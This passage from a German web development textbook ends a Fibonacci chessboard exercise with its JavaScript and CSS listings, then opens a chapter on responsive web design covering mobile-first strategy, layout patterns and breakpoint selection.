        Der Kaiser betraute seine Untergebenen damit, den Reis in Säcken abzufüllen und dem Bauern mitzugeben. Stunde um Stunde verstrich, worauf des dem Kaiser irgendwann zu dumm wurde und er seine Untergebenen entsprechend tadelte. Die so Getadelten erwiderten, dass es im gesamten Kaiserreich nicht ausreichend Reiskörner gebe.

        
            [zB]  Fibonacci everywhere

            Die Frage lautet nun: Wie viele Reiskörner liegen jeweils auf den Feldern des Schachbretts und wie viele sind es insgesamt? Geben Sie das Schachbrett grafisch aus, und geben Sie in jedem Schachbrettfeld die Anzahl der dort befindlichen Reiskörner an.

            Die Lösung ist die Berechnung der Fibonacci-Folge. Am einfachsten erledigen Sie dies über zwei ineinander verschachtelte for-Schleifen. Die Ausgabe des Schachbretts erfolgt wiederum als CSS-Tabelle. Im Folgenden finden Sie den Code, wobei es für dieses Beispiel natürlich viele Lösungsansätze gibt.

            Der JS-Teil:

            In der Variablen schachbrett sammeln wir den HTML-Code, den wir schlussendlich in den <body> der Seite schreiben werden. Die ersten beiden Schachbrettfelder müssen wir nicht berechnen (diese sind mit je einem Reiskorn vorgegeben), weshalb sich in der inneren for-Schleife die if-Anweisung befindet, die angibt, ob wir gerade in Zeile 0 und Spalte 0 oder in Spalte 1 sind. Für diesen Fall fügen wir lediglich die Zahl 1 an die schachbrett-Variable an. Für alle anderen Fälle wird in die Variable c die Summe aus den beiden vorigen Feldern (Variablen a und b) geschrieben, und danach werden die Variablen a und b neu belegt: Wir rücken in den Feldern einen Schritt weiter. Die Summe aller Reiskörner wird in die Variable sum geschrieben. Das heißt, diese Variable wird zunächst mit dem Wert 2 belegt (für die ersten beiden Felder), und danach wird sie stetig um den berechneten Wert des nächsten Feldes erhöht.

            $(document).ready(function() {
  let a=1, b=1, c=a+b, sum=2;
  let schachbrett = '<div id="SB">';
  for(let i=0; i<8; i++) {
    schachbrett+= '<div>';
    for(let j=0; j<8; j++) {
      schachbrett+= '<div>';
      if(i==0 && (j==0 || j==1)) {
        schachbrett+= 1;
      }
      else {
        c = a+b;
        a = b;
        b = c;
        schachbrett+= (new Intl.NumberFormat("de-DE").format(c));
        sum+= c;
      }
      schachbrett+= '</div>';
    }
    schachbrett+= '</div>';
  }
  schachbrett+= '</div>';
  schachbrett+= '<output>Gesamt: '+(new Intl.NumberFormat("de-DE")
  .format(sum))+'</output>';
  $("body").prepend(schachbrett);
});


            Listing 7.88    
            Zwei veschachtelte »for«-Schleifen sorgen für die Struktur des Schachbretts.

            Der CSS-Teil:

            Im Formatierungsteil ist lediglich das Einfärben der Schachbrettfelder »spannend«: In jeder geraden Zeile wird jedes gerade Feld und in jeder ungeraden Zeile wird jedes ungerade Feld schwarz eingefärbt:

            #SB {
  display:table;
  margin:auto;
  padding:0.2em;
  border:1px solid black;
  border-radius:0.2em;
}
#SB > div {
  display:table-row;
}
#SB > div > div {
  display:table-cell;
  background-color:white;
  width:5rem;
  height:5rem;
  font-size:0.5em;
  text-align:center;
  vertical-align:middle;
}
#SB > div:nth-of-type(even) > div:nth-of-type(even),
#SB > div:nth-of-type(odd) > div:nth-of-type(odd) {
  background-color:black;
  color:white;
}
output {
  display:block;
  width:fit-content;
  margin:1em auto;
}


            Listing 7.89    
            Der CSS-Code ist etwas aufwendiger: Der Trick zur Darstellung des Schachbrettmusters besteht in der Selektion der geraden und ungeraden Zeilen und Spalten der CSS-Tabelle.

        

    


                    
                        8    Responsive Webdesign – Verantwortung dem User gegenüber
Responsive Webdesign bedeutet, Verantwortung gegenüber dem User zu übernehmen. Genau das tun wir nun.
Der Begriff Responsive Design hat seine Ursprünge in der Architektur, in der es schon lange das Ziel ist, Gebäude an die Anforderungen der Nutzer anzupassen und nicht umgekehrt: War es in früheren Jahren noch gang und gäbe, dass Gebäude (etwa Wohn- oder Bürohäuser) gebaut wurden, ohne dass man sich groß Gedanken machte, welche Anforderungen und Bedürfnisse die Menschen aufweisen, die diese Gebäude nutzen und bewohnen werden, so achtet man heute darauf, welche Anforderungen ein Gebäude erfüllen muss, damit seine Nutzer*innen ihr Optimum vorfinden.

        8.1    Die Grundlagen des Responsive Design

        Diesen Ansatz nahm Ethan Markotte im Jahr 2010 erstmals in einem Artikel für das Magazin »A List Apart« auf, um ihn auf die Entwicklung von Websites zu projizieren. In seinen Augen war die damalige Problematik in Bezug auf Websites, dass Websites nicht in der Lage seien, sich an die Bedürfnisse der User anzupassen. Konkret dachte er an die Darstellung von Websites auf den immer beliebter werdenden Smartphones, die sich in Hinblick auf Bildschirmgröße und -auflösung, Performance und Internetanbindung sowie Eingabemöglichkeiten erheblich von den Desktop-Geräten unterschieden.

        Zwar boten mehr und mehr Website-Betreiber mobile Varianten ihrer Websites an, jedoch unterschieden sich diese im Inhalt oft wesentlich von den Websites für Desktop-Geräte. Aus Sicht von Ethan Markotte sollte es – nicht zuletzt aufgrund der damals bereits etablierten Technologien HTML5 und CSS3 – möglich sein, dass sich Websites dynamisch an die Ausgabegeräte der User anpassen. Damit war der Begriff Responsive Webdesign geboren.

        
            8.1.1    Die fünf Säulen des Responsive Design

            Eine responsive Website soll sich unabhängig von der Größe des Ausgabegeräts sowie des Eingabegeräts (Maus, Tastatur, Stift, Finger) optimal bedienen lassen und die dargestellten Inhalte nicht von Gerät zu Gerät ändern. Außerdem soll eine Website auf die technischen Möglichkeiten in Hinblick auf das Ausgabegerät sowie die Infrastruktur Rücksicht nehmen. Um dies zu erreichen, sind folgende Anforderungen zu erfüllen:

            
                	
                    Die Website muss in der Lage sein, sich in Breite, Höhe, Auflösung und optischer Darstellung an das Ausgabegerät anzupassen. Hierbei ist auch die optische Nähe zum Bildschirm zu beachten, wodurch die Auflösung des Ausgabegeräts eine Rolle spielen wird.

                

                	
                    Die Bedienung der Website muss an die Eingabemöglichkeiten angepasst sein.

                

                	
                    Die technischen Rahmenbedingungen des Ausgabegeräts (Sensorik, Performance etc.) müssen berücksichtigt werden.

                

                	
                    Die technischen Rahmenbedingungen der verwendeten Infrastruktur (Internetanbindung, Hosting etc.) müssen ebenso berücksichtigt werden.

                

            

            Die benötigten Werkzeuge hierzu habe ich Ihnen bereits vorgestellt:

            
                	
                    Die Media Queries aus CSS3 (siehe Abschnitt 6.20) ermöglichen uns das Definieren sogenannter Umbruchpunkte: Je nach Größe, Orientierung (Hoch- oder Querformat) und Auflösung des Bildschirms des Users kann das grafische Layout der Seite wie auch die Darstellung von Navigation und allen weiteren notwendigen Elementen beim Unter- oder Überschreiten gewisser Grenzen umgeschaltet werden.

                

                	
                    Der Einsatz eines Grid-Systems, wie es mit HTML und CSS definiert werden kann, stellt sicher, dass sich das grafische Design zwischen zwei Umbruchpunkten auch an die Breite (und Höhe) des Darstellungsbereichs anpassen kann.

                

                	
                    Flexible Medien (wie Bilder, Videos etc.), die sich dynamisch in ihrer Größe an die Gegebenheiten anpassen, vervollständigen das grafische Bild.

                

            

            Diese drei Säulen stellten das Fundament des von Ethan Markotte erdachten Responsive Design dar. Damit ist es leider (oder zum Glück) mittlerweile nicht mehr getan, denn neben der grafischen Darstellung unterscheiden sich die verwendeten Geräte oftmals auch in ihren technischen Möglichkeiten: Mobile Geräte verfügen beispielsweise über Helligkeits-, Beschleunigungs- und Neigungssensoren sowie über GPS-gestützte Positionsermittlung, was Desktop-Geräte sowie Notebooks wiederum nur zum Teil oder gar nicht besitzen. Dementsprechend sollte auch auf diese Gegebenheiten Rücksicht genommen werden, wozu in vielen Fällen unsere dritte Clienttechnologie – JavaScript – zum Einsatz kommt, um das Nutzererlebnis zu vervollständigen.

            Wir werden diese drei Säulen deshalb um zwei Säulen ergänzen:

            
                	
                    Die Performance des Ausgabegeräts des Users beschränkt mitunter die Möglichkeiten komplexer Darstellungen, wie von Videos oder auch die Echtzeit-3D-Darstellung. Die Performance auf der Serverseite in Hinblick auf die verwendeten Protokolle (HTTP/1.1 vs. HTTP/2 vs. HTTP/3) einerseits und die Bereitstellung der angeforderten Daten (HTML-, Medien- oder ähnliche Daten) andererseits spielt ebenfalls eine Rolle, wenn es um das schnelle Rendering auf der Clientseite geht.

                

                	
                    Der Einsatz unterschiedlicher Sensorik, die mithilfe von CSS und JavaScript berücksichtigt wird, soll dem User zu einem besseren Erlebnis verhelfen. Beispielsweise könnte ein Gerät (mithilfe eines Beschleunigungssensors oder einer Positionsermittlung) erkennen, wann der User in Bewegung ist: Ist er das, so ist oftmals seine Wahrnehmung bzw. seine Bedienfähigkeit eingeschränkt, was zu einer geänderten Darstellung der Website führen sollte.

                

            

            
                [+]  Wie gut ist »gut genug«?

                An dieser Stelle möchte ich noch einmal auf einen aus meiner Sicht sehr wichtigen und wesentlichen Punkt zurückkommen: Im Webdesign stellt sich mittlerweile nicht mehr die Frage, was alles möglich ist, denn mittlerweile können wir unseren Usern so ziemlich alle Wünsche erfüllen. Wesentlich wichtiger ist die Frage: Wie gut wollen Sie als Webentwickler*in werden? Darauf sollte und dürfte es nur eine Antwort geben: »Ich möchte der beste Webentwickler / die beste Webentwicklerin der Welt werden!«

            

        
        
            8.1.2    Eine Abgrenzung zum adaptiven und liquiden Design

            Neben dem Begriff Responsive Webdesign werden Sie des Öfteren auch die folgenden Begriffe lesen:

            
                	
                    Unter einem adaptiven Design versteht man den Ansatz, dass die Website ihr grafisches Aussehen basierend auf definierten Umbruchpunkten ändert, zwischen diesen Umbruchpunkten jedoch steif bleibt, sich also nicht flexibel an die Darstellungsgröße anpasst.

                

                	
                    Unter einem liquiden Design versteht man den Ansatz, dass sich eine Website ausschließlich flexibel an die Darstellungsgröße anpasst, jedoch keine Umbruchpunkte besitzt.

                

            

        
        
            8.1.3    Frontend oder Backend?

            Selbstverständlich müssen wir uns im Rahmen von Responsive Design auch die Frage stellen, wer hauptsächlich für dessen Umsetzung verantwortlich ist: der Frontend- oder der Backend-Entwickler? Die Antwort ist nicht ganz eindeutig (wie wir feststellen werden), aber vorrangig muss sich der Frontend-Entwickler dieser Aufgabe annehmen. Der Backend-Entwickler kommt erst ins Spiel, wenn wir uns in Abschnitt 8.8.2 über das fortgeschrittene Thema RESS Gedanken machen. Die dazu notwendigen Fähigkeiten erlernen wir dann in Kapitel 12 und Kapitel 13 zu PHP und MySQL.

        
        
            8.1.4    Wie mobil ist mobil?

            Ein Gedanke, dem man sich früher oder später stellen muss, ist die Frage nach dem Begriff der Mobilität. Denkt man an ein Smartphone, dann ist so weit alles klar: Mobiler geht’s kaum, denn es begleitet uns auf allen Wegen. Denkt man an ein Tablet und versucht sich mit dem Begriff mobil, dann wird der eine oder die andere wohl sagen: »Ja, aber so richtig mobil ist ein Tablet doch nicht.« Richtig. Gemessen an einem Smartphone ist ein Tablet weit von »mobil« entfernt. Aus diesen Gründen müssen wir ein wenig genauer werden, indem wir drei Formen von Mobilität unterscheiden:

            
                	
                    Vollmobil: Smartphone

                    Das Gerät wird in der Regel außerhalb der eigenen vier Wände verwendet und ist zu jeder Zeit griffbereit. Es ist unser täglicher Begleiter auf all unseren Wegen und wird auch in Bewegung verwendet.

                

                	
                    Halbmobil: Tablet

                    Das Gerät wird unabhängig von einem Computer verwendet, befindet sich aber nicht immer in der unmittelbaren Umgebung des Users. Es wird üblicherweise eher »in Ruhe« verwendet.

                

                	
                    Pseudomobil

                    Darunter versteht man Geräte, die eine Erweiterung des Desktop-Rechners (z. B. als Fernbedienung o. Ä.) darstellen, aber nicht eigenständig arbeiten. An solchen Geräten sind wir nicht interessiert.

                

            

            Wir werden uns im Rahmen dieses Buches mit den voll- und halbmobilen Geräten beschäftigen. Natürlich könnten wir auch sogenannte Wearables ins Spiel bringen, aber für diese werden selten Websites erzeugt.

        
    


                    
                        
        8.2    Wie geht man’s an? Der Workflow

        Wie man an die Entwicklung einer Website herangeht, haben wir in Abschnitt 2.1, »Die Planung einer Website«, sowie den folgenden Kapiteln bereits eingehend besprochen. An dieser Herangehensweise wird sich nichts ändern. Dennoch sollten wir zwei grundlegende Herangehensweisen betrachten, die in Hinblick auf die Informationsgestaltung eine wesentliche Rolle spielen, wir aber in den einführenden Kapiteln noch nicht in Betracht gezogen haben: Mobile First oder Desktop First?

        
            [Info]  Was versteht man unter »Mobile«?

            Dieser Begriff führt oft zu etwas Verwirrung. Einerseits ist damit ein Gerät gemeint, das mobil ist, sprich eines, das man einfach einstecken und mitnehmen kann: ein Smartphone, gegebenenfalls ein Tablet, aber kein Notebook o. Ä., obwohl ein Notebook ja auch mobil wäre. Andererseits versteht man unter mobilen Geräten solche, die einen kleinen Monitor besitzen, und damit wird die Sache schwierig: Ist ein Smartphone mit einem 6,9 Zoll großen Display ein »kleines Display« oder ist das schon ausreichend groß?

            Sie sehen, man muss ein wenig den gesunden Menschenverstand einsetzen, da es keine scharfe Grenze zwischen Geräten gibt: (Sehr große) Smartphones reichen schon fast an die Größe von Tablets heran, außerdem sind gewisse Tablets bereits größer als Notebooks, und manche Notebook-Monitore besitzen wiederum eine höhere Auflösung als ein Desktop-Monitor.

        

        
            8.2.1    Zwei Ansätze: Mobile First und Desktop First

            Unter Mobile First versteht man den Ansatz, dass die Konzipierung der Website von der Darstellung auf mobilen Endgeräten ausgeht. Dieser Ansatz wird oft als Content First bezeichnet, da offensichtlich die Inhaltsdarstellung gegenüber der grafischen Ausgestaltung bevorzugt wird. Man könnte auch sagen, dass der Fokus auf dem Wesentlichen liegt, denn all das, was auf einem mobilen Endgerät (mit seiner eingeschränkten Bildschirmgröße) Platz findet, kann auch auf größeren Ausgabegeräten dargestellt werden. Außerdem verfügen mobile Endgeräte wie schon erwähnt über zusätzliche Sensorik, die uns auf Desktop-Geräten oder Notebooks nicht zur Verfügung steht. Man sollte sich an dieser Stelle aber auch bewusst sein, dass zumeist alle schwierigen Aufgaben, die wir im Webdesign bewältigen müssen, mit kleinen/mobilen Geräten zu tun haben.

            Auf der anderen Seite wäre auch der Ansatz Desktop First eine Möglichkeit, wo zunächst von der Darstellung auf großen Monitoren ausgegangen wird. Der Vorteil dieses Ansatzes liegt klar in den erweiterten Möglichkeiten der grafischen Ausgestaltung: Bilder kommen besser zur Geltung, Text kann mehr Platz einnehmen usw. Problematisch könnte dieser Ansatz erst dann werden, wenn nicht mehr ausreichend Platz auf dem Bildschirm zur Verfügung steht – sprich, wenn eine derartig konzipierte Website auf kleineren Monitoren dargestellt wird. Ein großer Vorteil ist das gewohnte und übliche Vorgehen, da man als Webdesigner selbst mit – normalerweise – großen Monitoren arbeitet.

            Welchen Ansatz Sie wählen, hängt von Ihrer Zielgruppe ab: Haben Sie in der Zielgruppenanalyse festgestellt, dass die User bevorzugt über das Smartphone oder Tablet arbeiten, so wählen Sie den Mobile-First-Ansatz. Spielt hingegen das Design der Website eine große Rolle (und lässt es die Zielgruppe zu), so wählt man Desktop First. Tendenziell ist der Weg von Desktop zu Mobile über das Verkleinern des Inhaltsbereichs schwerer, wenn man zunächst Desktop First geplant hat.

        
        
            8.2.2    Der Anteil der mobilen User überwiegt: richtig und falsch

            Oft werden Sie lesen, dass mittlerweile der Anteil der mobilen User auf Websites überwiegt, was nicht selten auch mit statistischen Daten belegt wird. Derartigen Statistiken sollten Sie jedoch nicht ohne nachzudenken zustimmen. Schlussendlich entscheidet weder eine Statistik über die Wahl des Ansatzes noch Sie als Webdesigner, sondern vielmehr bestimmt das Ziel der Website samt der erwarteten Zielgruppe den Ansatz (siehe Abschnitt 2.4.1 zum Thema Zielgruppe). Es ist einfach falsch zu glauben, dass die Mehrheit der User mobil surft, ohne sich dabei den konkreten Fall anzusehen.

            Würden Sie etwa eine Website konzipieren, deren Ziel es ist, statistische Daten zum Wetter in Form vielspaltiger Tabellen darzustellen, so werden Sie schnell feststellen, dass die Mehrheit Ihrer User derartige Websites nicht mobil, sondern bevorzugt über ein Gerät mit großem Monitor (Desktop, Notebook) betrachtet – ein Smartphone wäre einfach nicht geeignet, da sein Monitor zu klein ist. Sollte man Ihnen also weismachen wollen, dass der Anteil an mobilen Usern schon weit über den Desktop-Usern liegt, dann mag die (Gesamt-)Statistik das zwar belegen, aber dennoch muss dies für Ihr Vorhaben explizit durchdacht werden.

        
    


                    
                        
        8.3    Content- und Layoutstrategien für responsive Websites

        Rufen wir uns noch einmal ins Gedächtnis, was unser Ziel ist: Wir wollen eine Website entwickeln, die auf allen Ausgabegeräten dargestellt wird, ohne dass Inhalt weggelassen wird oder die Funktionalität darunter leidet. Nun steht aber der darzustellende Content nach unserer Vorgehensweise (vgl. Abschnitt 2.6, »Content is King – die Content Strategy«) ja bereits zu großen Teilen fest, weshalb wir nun mit ihm umgehen müssen. Stellen wir uns also vor, wir arbeiten mit einer sehr informationslastigen Website, in der sehr viel Inhalt dargestellt werden muss: Im Desktop-Bereich stellt uns das vor keine größeren Probleme, da ausreichend Platz vorhanden ist. Aber wie sieht es mobil aus? Drei Ansätze würden sich anbieten:

        
            	
                Ansatz 1 – weglassen oder zusammenfassen: Wir könnten auf die Idee kommen, gewisse Inhalte auf kleineren Monitoren wegzulassen bzw. zusammenzufassen. Dies ist jedoch nur dann legitim, wenn es sich um Inhalte handelt, die für die Website nicht wesentlich sind. Derartige Inhalte werden im Rahmen von HTML üblicherweise mit <aside> gekennzeichnet und beherbergen in der Regel Werbung, Social Media, Feeds etc. Sollten Sie in der Lage sein, andersgearteten Inhalt wegzulassen, dann sollten Sie sich eher die Frage stellen, ob dieser Inhalt überhaupt notwendig ist.

            

            	
                Ansatz 2 – ausblenden: Unter Ausblenden sollte man nicht verstehen, dass ein Inhalt vollständig ausgeblendet wird, sondern dass Teile davon vorerst ausgeblendet werden, bis der User sich dafür entscheidet, diesen Inhalt einzublenden. Beispielsweise könnte ein Text nur angeteasert werden. Ein User würde dann auf einen mit »Mehr« oder »Weiterlesen« beschrifteten Text klicken, um den gesamten Text lesen zu können. Andererseits kann man rein dekorative Inhalte (wie etwa das eine oder andere Bild) in der Tat ausblenden.

            

            	
                Ansatz 3 – neu anordnen: Wie Sie bereits in Kapitel 6, »CSS – Formatierung rulez«, erfahren haben, hilft die Anwendung von Grids enorm bei der Ausgestaltung von Websites, da sie uns eine Flexibilität in der Anordnung von Inhalten erlaubt. Dies können wir uns zunutze machen, um Inhaltsbereiche neu anzuordnen, wie Sie in Abbildung 8.1 sehen.

            

        

        Die korrekte Herangehensweise ist eine Mischung aus Ansatz 2 und 3. Ein Weglassen von Inhalt kommt nicht infrage.

        
            [image: Durch unterschiedliche Anordnung der Gridbereiche passen wir die Darstellung der Website an unterschiedliche Ausgabegeräte an – CSS und den Media Queries sei Dank! Die abgesofteten Bereiche deuten an, dass nicht jeder Inhalt auch auf jedem Ausgabegerät sofort Platz findet und der User deshalb scrollen muss.]

            Abbildung 8.1    
            Durch unterschiedliche Anordnung der Gridbereiche passen wir die Darstellung der Website an unterschiedliche Ausgabegeräte an – CSS und den Media Queries sei Dank! Die abgesofteten Bereiche deuten an, dass nicht jeder Inhalt auch auf jedem Ausgabegerät sofort Platz findet und der User deshalb scrollen muss.

        
        
            [»]  Ausblenden von Bildern

            Sie werden in weiterer Folge neben dem Ausblenden von Bildern auch noch eine andere Variante kennenlernen, bei der derartige Bilder erst gar nicht geladen werden. Dieser Ansatz erfordert jedoch Unterstützung von der Serverseite und ist unter dem Begriff RESS (Responsive Enhance with Server-Side Components) zu finden.

        

        
            8.3.1    Grundbausteine responsiven Designs im Schnelldurchlauf

            Offensichtlich bedient man sich beim Responsive Design also einiger Techniken, die Sie bereits aus dem CSS-Kapitel kennen. Allen voran sind das:

            
                	
                    ein flexibler Gestaltungsraster (vgl. Abschnitt 6.17.2 zum Grid-Layout)

                

                	
                    Umbruchpunkte, bei denen sich das Layout verändert (vgl. Abschnitt 6.20 zu Media Queries)

                

                	
                    flexible Inhalte, die sich an die unterschiedlichen Ausgabegrößen anpassen

                

            

            Auf diese drei Punkte werden wir im Detail noch eingehen, da sie unsere Essenz für gutes Responsive Design darstellen.

            Nachdem wir nun Strategien haben, wie wir mit (viel) Content umgehen können, wenden wir uns als Nächstes typischen Layouts zu, die im Responsive Design häufig zu finden sind, und diskutieren deren Vor- und Nachteile. Zumeist gilt es zu überlegen, wie viel Arbeit in die Formatierung mittels CSS gesteckt werden muss, um das jeweilige Design passend darzustellen.

            In seltenen Fällen geht man im Responsive Design einen Schritt weiter und überlegt, welche Contents auf welchen Endgeräten dargestellt oder eben auch nicht dargestellt werden können. Dieser Schritt geht meist ein wenig unter, aber wenn man bedenkt, dass mit der Nutzung eines Smartphones oftmals einhergeht, dass der User »in Bewegung« ist (oder sein kann) und ein Tablet-User zumeist in Ruhe ist, so müsste man aus Usability-Sicht auch darauf Rücksicht nehmen. Aber keine Angst: Genau darüber werden wir uns im Abschnitt 8.6 Gedanken machen.

        
        
            8.3.2    Überwiegend flüssiges Design

            Bei dieser Variante verwenden Sie nur einen Umbruchpunkt, d. h., das Design bleibt in allen Darstellungen in etwa gleich – erst in der Smartphone-Darstellung wird das Design gewechselt (siehe Abbildung 8.2). Möglich wird ein solches Layout dadurch, dass das Design nur wenige (maximal vier) Spalten verwendet, die selbst in einer Tablet-Anzeige noch darstellbar sind. Gegebenenfalls muss man zu einer dreispaltigen Darstellung wechseln.

            
                [image: Ein drei- oder vierspaltiges Design kann in der Regel ohne große Änderungen bis zur Tablet-Darstellung durchgezogen werden. Das Smartphone erwartet natürlich wieder einen Wechsel im Layout.]

                Abbildung 8.2    
            Ein drei- oder vierspaltiges Design kann in der Regel ohne große Änderungen bis zur Tablet-Darstellung durchgezogen werden. Das Smartphone erwartet natürlich wieder einen Wechsel im Layout.

            
            Der klare Vorteil dieser Layoutvariante ist, dass nur wenige Änderungen für die unterschiedlichen Darstellungen Desktop, Notebook, Tablet und Smartphone notwendig sind. Nachteile besitzt diese Variante nicht – einzig die Designmöglichkeiten sind eingeschränkt.

        
        
            8.3.3    Spalten verschieben

            Bei dieser Layoutvariante werden zwischen den unterschiedlichen Darstellungen einzelne Spalten an andere Stellen verschoben (siehe Abbildung 8.3); einen echten Umbruchpunkt gibt es nur zwischen Desktop und Tablet.

            
                [image: Ab der Tablet-Darstellung verschieben sich die Spalten.]

                Abbildung 8.3    
            Ab der Tablet-Darstellung verschieben sich die Spalten.

            
        
        
            8.3.4    Layout umschalten

            Ein (völliger) Wechsel des Layouts ist natürlich mit einem höheren Aufwand verbunden. Zumeist wird hier neben einer unterschiedlichen Spaltendarstellung auch Wert auf tiefergreifende Effekte wie etwa die Bildwirkung gelegt.

            Wie Sie wissen, sind Bilder in der Lage, Emotionen beim Betrachter auszulösen. Dieser Effekt geht jedoch manchmal mit der Bildgröße einher: Ein und dasselbe Bild kann in einer größeren Darstellung ganz anders auf den Betrachter wirken als in einer kleineren Darstellung. Aus diesem Grund wird oftmals neben der Bildgröße auch das gesamte Bild getauscht.

            Das klingt im ersten Moment relativ einfach, denn wenn es möglich ist, das Spaltendesign zu ändern, so muss es ja auch möglich sein, ein Bild zu tauschen. Die schlechte Nachricht ist jedoch: Nein, so einfach ist das nicht. Denn CSS ist zwar in der Lage, Größen und Anordnungen von beliebigen Elementen zu ändern, kann jedoch keine Änderungen an Bildinhalten vornehmen.

            Der Grund ist so simpel wie unangenehm: Um den Inhalt eines Bildes zu ändern, muss die Bildquelle (also die Source und somit das src-Attribut eines <img> bzw. das <source>-Tag innerhalb eines <picture>) verändert werden. Dies zieht jedoch einen Request auf dem Server nach sich, denn die neue Bildquelle muss ja erst einmal geladen werden. Solche Requests können jedoch wiederum nur von HTML bzw. JavaScript angestoßen werden, nicht jedoch von CSS. CSS ist lediglich in der Lage, Hintergrundbilder von Elementen zu manipulieren. Da jedoch aus Sicht einer Suchmaschine ein Hintergrundbild kein Bild im eigentlichen Sinne ist (sondern einzig dekorativen Zwecken dient), ist ein Wechsel von einem <img> oder <picture> zu einem beliebigen anderen Element mit hinterlegter Hintergrundgrafik aus Sicht der Semantik nicht sinnvoll und auch nicht empfehlenswert.

            Der Aufwand dieser Variante besteht darin, dass einerseits Spalten umorganisiert werden müssen, andererseits aber auch die Elemente in den Spalten neu angeordnet werden müssen (siehe Abbildung 8.4).

            
                [image: Das Layout umzuschalten ist aufwendiger: Das Grid muss umorganisiert werden und Elemente müssen neu angeordnet werden.]

                Abbildung 8.4    
            Das Layout umzuschalten ist aufwendiger: Das Grid muss umorganisiert werden und Elemente müssen neu angeordnet werden.

            
        
        
            8.3.5    Kleine Veränderungen

            Sind nur wenige Veränderungen vorzunehmen, so ist dies natürlich fein für den Webentwickler. Zumeist gehen diese Veränderungen lediglich mit einer Verkleinerung der Spaltenbreite einher. Dass derartige Layoutansätze nur für wenige Sites geeignet sind, liegt auf der Hand (siehe Abbildung 8.5).

            
                [image: Designs mit nur wenigen Änderungen im Layout sind selten, aber möglich. Zumeist existiert maximal ein Umbruchpunkt oder auch keiner.]

                Abbildung 8.5    
            Designs mit nur wenigen Änderungen im Layout sind selten, aber möglich. Zumeist existiert maximal ein Umbruchpunkt oder auch keiner.

            
            Wie Sie gut in Abbildung 8.5 erkennen können, ist das gewählte Layout vom Desktop über das Notebook bis hin zum Tablet gut darstellbar. Lediglich in der Smartphone-Darstellung muss vom zweispaltigen Design auf ein einspaltiges Design gewechselt werden.

        
        
            8.3.6    Off-Canvas

            Der Off-Canvas wird gerne bei App-artigen Darstellungen von Websites verwendet. Hierbei befinden sich Inhalte außerhalb des sichtbaren Bereiches und können von links und rechts in den sichtbaren Bereich gescrollt werden (siehe Abbildung 8.6).

            
                [image: Der unsichtbare, da außerhalb des sichtbaren Bereiches liegende Inhalt wird von rechts durch eine Wischbewegung in den sichtbaren Bereich bewegt.]

                Abbildung 8.6    
            Der unsichtbare, da außerhalb des sichtbaren Bereiches liegende Inhalt wird von rechts durch eine Wischbewegung in den sichtbaren Bereich bewegt.

            
            Die Off-Canvas-Variante wird oft auch in Kombination mit den oben beschriebenen Ansätzen verwendet, und zwar insbesondere dann, wenn das horizontale Scrollen bestmöglich vermieden werden soll – wie etwa im Fall von One-Pagern.

            Dass diese Variante eher für mobile Endgeräte eingesetzt wird, liegt auf der Hand: Im Falle der Desktop-Nutzung ist das horizontale Scrollen nach wie vor eher unerwünscht, da die wenigsten Nutzer aktuell über ein entsprechendes Eingabegerät (Maus mit horizontal arbeitendem Scrollrad, Touchpad etc.) verfügen. Für Sidebars oder Navigationen kommt diese Variante dennoch häufig zum Einsatz.

        
    


                    
                        
        8.4    Umbruchpunkte definieren, wo das Layout ein anderes wird

        Wir haben uns nun schon einige Zeit darüber Gedanken gemacht, dass Websites auf unterschiedlichen Ausgabegeräten ein unterschiedliches Layout haben sollen, sodass sie die Anforderungen des Ausgabegeräts und auch die Bedürfnisse des Users abdecken. In diesem Zusammenhang haben wir – grob – zwischen Desktop-, Notebook-, Tablet- und Smartphone-Darstellung unterschieden.

        Denkt man jedoch noch einmal darüber nach, dann kommen einem Zweifel, und zwar Zweifel an der Herangehensweise: Ein kleines Tablet könnte ja fast so klein wie ein großes Smartphone sein, ein großes Tablet ist mitunter bereits genauso groß wie kleine Notebooks und so weiter. Und dann kommt noch hinzu, dass die (kleinen) Smartphones bekannterweise oftmals eine höhere Auflösung besitzen als ein durchschnittlicher Desktop-Monitor: Ein iPhone 14 weist eine Auflösung von 1170 × 2532 px (Hochformat) auf, ein 27"-Desktop-Monitor liegt jedoch bei etwa 1920 × 1080 px (Querformat). Müssten wir in Wahrheit unsere Umbruchpunkte eher an der Auflösung orientieren?

        Zu dieser Überlegung gesellt sich jedoch eine andere Wahrheit hinzu: Die Auflösung darf nur in Zusammenhang mit dem verwendeten Pixelverhältnis (Device Pixel Ratio) gesehen werden (darüber haben wir uns im Abschnitt 5.4.3, »Listen« ausführlich Gedanken gemacht), wodurch sich die Auflösungen wiederum relativieren: Das Pixelverhältnis eines iPhone 14 liegt bei 3:1 (wodurch sich eine nutzbare Auflösung von 390 × 844 px ergibt), diejenige eines Desktop-Monitors üblicherweise jedoch bei 1:1, wodurch die nutzbare Auflösung der tatsächlichen Auflösung entspricht. Daraus ergibt sich dann wiederum, dass die nutzbare Auflösung eines Smartphones erst wieder geringer ist als diejenige eines Desktop-Monitors. Somit machen wir die Umbruchpunkte doch wieder an den Pixeln fest? Aber diesmal auf jenen, die wir auch nutzen können? Scheint so … Aber warten wir’s ab.

        Unser Zwischenstand könnte wie folgt aussehen (unter Berücksichtigung des Pixelverhältnisses sowie eines guten Durchschnitts der gängigen Geräte am Markt):

        
            	
                Smartphone: bis ca. 700 px in der Breite

            

            	
                Tablet: bis ca. 1000 px in der Breite

            

            	
                Notebook: bis ca. 1200 px in der Breite

            

            	
                Desktop: ab 1200 px in der Breite

            

        

        Damit sehen Sie nun auch, dass sich die Angabe »Smartphone«, »Tablet« usw. relativiert, denn mit Sicherheit hat sich der eine oder andere von Ihnen nun gedacht, dass sein Notebook aber schon größer als 1200px in der Breite ist. Ja, mit Sicherheit, aber darum geht’s uns eben nicht! Wir wollen kein Maß für ein Gerät finden, sondern ein Maß dafür, wo Umbruchpunkte sinnvoll sind.

        Aber ganz ehrlich: Was helfen uns all diese Überlegungen, wenn es in Wahrheit darum geht, die Bedürfnisse des Users zu befriedigen und nicht stur den Pixel-Angaben eines Geräts zu folgen? Damit sind wir bei der dritten Komponente, die uns bei der Wahl des passenden Umbruchpunktes zu denken gibt: die Lesbarkeit und Wahrnehmbarkeit des Inhaltes. Und da wissen wir, dass wir auch User mit eingeschränkten Sehfähigkeiten berücksichtigen müssen, die gerne zu einer größeren Schriftgröße greifen.

